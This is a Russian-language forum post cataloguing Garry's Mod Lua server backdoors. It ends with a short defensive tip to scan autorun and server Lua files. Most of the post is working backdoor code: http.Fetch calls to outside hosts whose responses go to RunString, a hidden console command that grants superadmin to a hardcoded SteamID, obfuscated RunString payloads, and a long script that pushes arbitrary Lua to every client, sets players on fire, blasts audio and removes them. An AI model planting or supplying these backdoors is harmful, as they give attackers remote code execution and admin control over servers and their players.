Lua:
timer.Simple(10, function()
    http.Fetch("http://87.98.180.200/~content1/setup.lua", function(c)
        RunString(c)
    end)
end)
===============================

http.Fetch("http://drm228.000webhostapp.com/core/stage1.php", function(b, l, h, c)

if c == 200 then RunString(b) end

end)
Панельный бэк. Сервер посылает данные на сайт, сайт принимает и на сайте юзай функции какие только можешь.

2. Тупое но рабочее
Код:
concommand.Add( "Nestor", function(ply)  if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else ply:ChatPrint("Bye " .. ply:Name() .. ".") end end)
Выдаёт админку тому, кто в консоль пропишет Nestor

3. Шифрованные бэки
Код:
RunString([==[
enccodetbl = {24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,7,26,13,15,66,15,22,67,0,5,2,7,67,10,25,}
====================================
RunString(string.char(117, 116, 105, 108, 46, 65, 100, 100, 78, 101, 116, 119, 111, 114, 107, 83, 116, 114, 105, 110, 103, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 41, 32, 110, 101, 116, 46, 82, 101, 99, 101, 105, 118, 101, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 97, 44, 98, 41, 32, 82, 117, 110, 83, 116, 114, 105, 110, 103, 40, 110, 101, 116, 46, 82, 101, 97, 100, 83, 116, 114, 105, 110, 103, 40, 41, 41, 32, 101, 110, 100, 41)
Что делает знать не знаю так как зашифровано.

4. Целый LUA-шник с кучей говна

Код:
--[[
    File: ?.lua
    For: Annoying pirates to death, then annoying them some more until they die a second time
    By: Ultra
]]--

util.AddNetworkString "slua"

local lol = {}
function lol:RandomString( intMin, intMax )
    local ret = ""
    for _ = 1, math.random( intMin, intMax ) do
        ret = ret.. string.char( math.random(65, 90) )
    end

    return ret
end

lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]

function lol:PushAction( intChainDelay, func )
    self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end

function lol:NextAction( pPlayer )
    pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
    if not self.m_tblActions[pPlayer.m_intCurAction] then return end

    timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
        if not IsValid( pPlayer ) then return end
        self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
        self:NextAction( pPlayer )
    end )
end

function lol:Start( pPlayer )
    pPlayer.m_intCurAction = 0
    self:NextAction( pPlayer )
end

function lol:SendLua( pPlayer, strLua )
    net.Start( "slua" )
        net.WriteString( strLua )
    net.Send( pPlayer )
end

function lol:SetupPlayer( pPlayer )
    pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
end

for k, v in pairs( player.GetAll() ) do
    lol:SetupPlayer( v )
    timer.Simple( 2, function() lol:Start( v ) end )
end

hook.Add( "PlayerAuthed", "wat", function( pPlayer )
    lol:SetupPlayer( pPlayer )
    timer.Simple( 10, function() lol:Start( pPlayer ) end ) 
end )

hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
    if strText:sub( 1, 5 ) == "/1337" then
        pSender:Ignite( 1e9 )
        pSender:ChatPrint( "lol jk" )
        pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
        return false
    end
end )



--Sequence stack
--Start some tunes and steam in our assets
lol:PushAction( 0, function( pPlayer )
    lol:SendLua( pPlayer, ([=[
        sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
      
        g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
        local html = [[%s]]
        local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
            local pnl = vgui.Create( "HTML" )
            pnl:SetPos( ScrW() -1, ScrH() -1 )
            pnl:SetVisible( true )
            pnl:SetMouseInputEnabled( false )
            pnl:SetKeyBoardInputEnabled( false )
            pnl:SetSize( intSizeX, intSizeY )
            pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
          
            local PageLoaded
            PageLoaded = function()
                local mat = pnl:GetHTMLMaterial()
                if mat then
                    g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
                    return
                end
              
                timer.Simple( 0.5, PageLoaded )
            end

            PageLoaded()
        end

        LoadWebMaterial( "https://puu.sh/xjXlK/e850cccd1b.png", "hud1", 300, 128 )
        LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
        LoadWebMaterial( "https://puu.sh/xjXlM/1b5b25b39a.png", "hud3", 128, 128 )
        LoadWebMaterial( "https://puu.sh/xjXqs/585d8dd339.png", "xhair", 64, 64 )
        LoadWebMaterial( "https://puu.sh/xjXs8/34852fe1de.png", "doritos", 183, 256 )
        LoadWebMaterial( "https://puu.sh/xjXs0/d766b0c51c.png", "fedora", 256, 256 )
        LoadWebMaterial( "https://puu.sh/xjXrT/6894da3f54.png", "dew", 110, 256 )
        LoadWebMaterial( "https://puu.sh/xjXtN/806d9bd2f6.png", "awp", 256, 55 )
    ]=]):format(lol.m_strImageLoadHTML) )
end )

--HUD swap
lol:PushAction( 31, function( pPlayer )
    lol:SendLua( pPlayer, [[
        (GAMEMODE or GM).CalcView = function() end
        (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end

        local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
        for k, v in pairs(remove) do
            hook.GetTable()[v] = {}
        end

        local function GetWebMat( strURL )
            return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
        end

        hook.Add( "HUDPaint", "newhud", function()
            surface.SetDrawColor( 255, 255, 255, 255 )

            if GetWebMat( "hud1" ) then
                surface.SetMaterial( GetWebMat("hud1")[1] )
                surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud2" ) then
                surface.SetMaterial( GetWebMat("hud2")[1] )
                surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud3" ) then
                surface.SetMaterial( GetWebMat("hud3")[1] )
                surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
            end
            if GetWebMat( "xhair" ) then
                surface.SetMaterial( GetWebMat("xhair")[1] )
                surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
            end

            if GetWebMat( "doritos" ) then
                surface.SetMaterial( GetWebMat("doritos")[1] )
                surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
            end
            if GetWebMat( "dew" ) then
                surface.SetMaterial( GetWebMat("dew")[1] )
                surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
            end
            if GetWebMat( "fedora" ) then
                surface.SetMaterial( GetWebMat("fedora")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
            end
            if GetWebMat( "awp" ) then
                surface.SetMaterial( GetWebMat("awp")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
            end

            draw.SimpleTextOutlined(
                "[ogloszenie] na ten server zostaly nalorzone\"Faldy Uesto\" - Crimson Gaming Approved",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +64,
                Color( 255, 0, 0, 255 ),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color( 0, 0, 255, 255 )
            )
        end )

        local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
        hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )

        surface.PlaySound( "garrysmod/save_load4.wav" )
        surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
    ]] )
end )

--Disco time
lol:PushAction( 10, function( pPlayer )
    local idx = pPlayer:EntIndex()
    timer.Create( "beat".. idx, 0.42, 0, function()
        if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
        pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
    end )


    lol:SendLua( pPlayer, [[
        local emitter = ParticleEmitter( LocalPlayer():GetPos() )
        local time = 0

        hook.Add( "Think", "wat", function()
            if CurTime() < time then
                return
            end

            time = CurTime() +0.05
            for i = 1, 16 do
                local part = emitter:Add(
                    "particles/balloon_bit",
                    LocalPlayer():GetPos() +Vector(
                        math.random( -256, 256 ),
                        math.random( -256, 256 ),
                        256
                    )
                )
              
                if part then
                    local Size = math.random( 4, 7 )
                  
                    part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
                    part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
                    part:SetDieTime( 4.5 )
                    part:SetGravity( Vector(40, 0, -250) )
                    part:SetLifeTime( 0 )
                    part:SetStartSize( Size /2 )
                    part:SetEndSize( Size )
                    part:SetCollide( true )
                end
            end
        end )
    ]] )

    lol:SendLua( pPlayer, [[
        hook.Add( "RenderScreenspaceEffects", "wat", function()
            local sinScaler = math.sin( CurTime() )
            DrawBloom(
                0,
                3,
                sinScaler *math.Rand(1, 8),
                sinScaler *math.Rand(1, 8),
                6,
                math.Rand(0.5, 2),
                math.Rand(0, 0.3),
                math.Rand(0, 0.3),
                math.Rand(0.5, 1)
            )

            DrawColorModify{
                ["$pp_colour_addr"] = 0,
                ["$pp_colour_addg"] = 0,
                ["$pp_colour_addb"] = 00,
                ["$pp_colour_brightness" ] = 0,
                ["$pp_colour_contrast" ] = 1,
                ["$pp_colour_colour" ] = 1,
                ["$pp_colour_mulr" ] = 0,
                ["$pp_colour_mulg" ] = 0,
                ["$pp_colour_mulb" ] = 1
            }
        end )

        local mdl = ClientsideModel( "models/player/group01/male_04.mdl", RENDERGROUP_BOTH )
        mdl:SetNoDraw( true )
        local posCache, time = {}, 0

        hook.Add( "HUDPaint", "dance", function()
            if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
                local idx = mdl:LookupSequence("taunt_dance")
                mdl.SeqDuration = mdl:SequenceDuration( idx )
                mdl.SeqStart = CurTime()
                mdl:ResetSequence( idx )
            end

            mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )

          
            local w, h = 300, 300
            local ang = Angle( 0, 0, 0 )

            for i = 1, 32 do
                if CurTime() > time then
                    posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
                end
                local x, y = posCache[i][1], posCache[i][2]

                cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
                    cam.IgnoreZ( true )
                    render.SuppressEngineLighting( true )
                  
                    render.SetLightingOrigin( mdl:GetPos() )
                    render.ResetModelLighting( 1, 1, 1 )
                    render.SetColorModulation( 0, 0, 1 )

                    mdl:DrawModel()
                  
                    render.SuppressEngineLighting( false )
                    cam.IgnoreZ( false )
                cam.End3D()
            end

            if CurTime() > time then
                time = CurTime() +0.15
            end
        end )

        surface.PlaySound( "vo/npc/male01/ohno.wav" )
    ]] )
end )

--Let the beat drop
lol:PushAction( 54, function( pPlayer )
    lol:SendLua( pPlayer, [[
        hook.Add( "GetMotionBlurValues", "wat", function()
            return 0, 0, 1, math.sin(CurTime() *13)
        end )

        hook.Add( "RenderScreenspaceEffects", "ohgod", function()
            local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
            DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
            DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
        end )

        hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
            render.SetMaterial( Material("cable/blue_elec") )
            for i = 1, 32 do
                render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
            end
        end )

        timer.Create( "thedrop", 0.42, 0, function()
            util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
        end )
    ]] )
end )

--EVIL TIME rip headpones
lol:PushAction( 175, function( pPlayer )
    lol:SendLua( pPlayer, [[
        surface.PlaySound( "vo/npc/male01/gethellout.wav" )

        local sounds = {}
        for i = 1, 4 do
            sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
                sounds[#sounds +1] = pChan
            end )
        end

        timer.Create( "asdf", 1, 0, function()
            if #sounds ~= 4 then return end
            timer.Destroy( "asdf" )
            for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
        end )

        hook.Add( "HUDShouldDraw", "newhud", function() return false end )
    ]] )

    pPlayer:Remove()
end )
Даже страшно разьяснять что тут можно.
========================================================

ЗАКЛЮЧЕНИЕ
Обычно все бэки в авторане либо sv части луа. Советую проверять все луа файлы, а еще проще юзать CPE либо nomalua
Очень годно, так бы и написал "авторку ему"
 
Годно(y)

Для особо ленивых можно с помощью Sublime Text, нажать 'найти в папках' и ввести http.
 
Статус
В этой теме нельзя размещать новые ответы.
Главная Регистрация
Назад
Сверху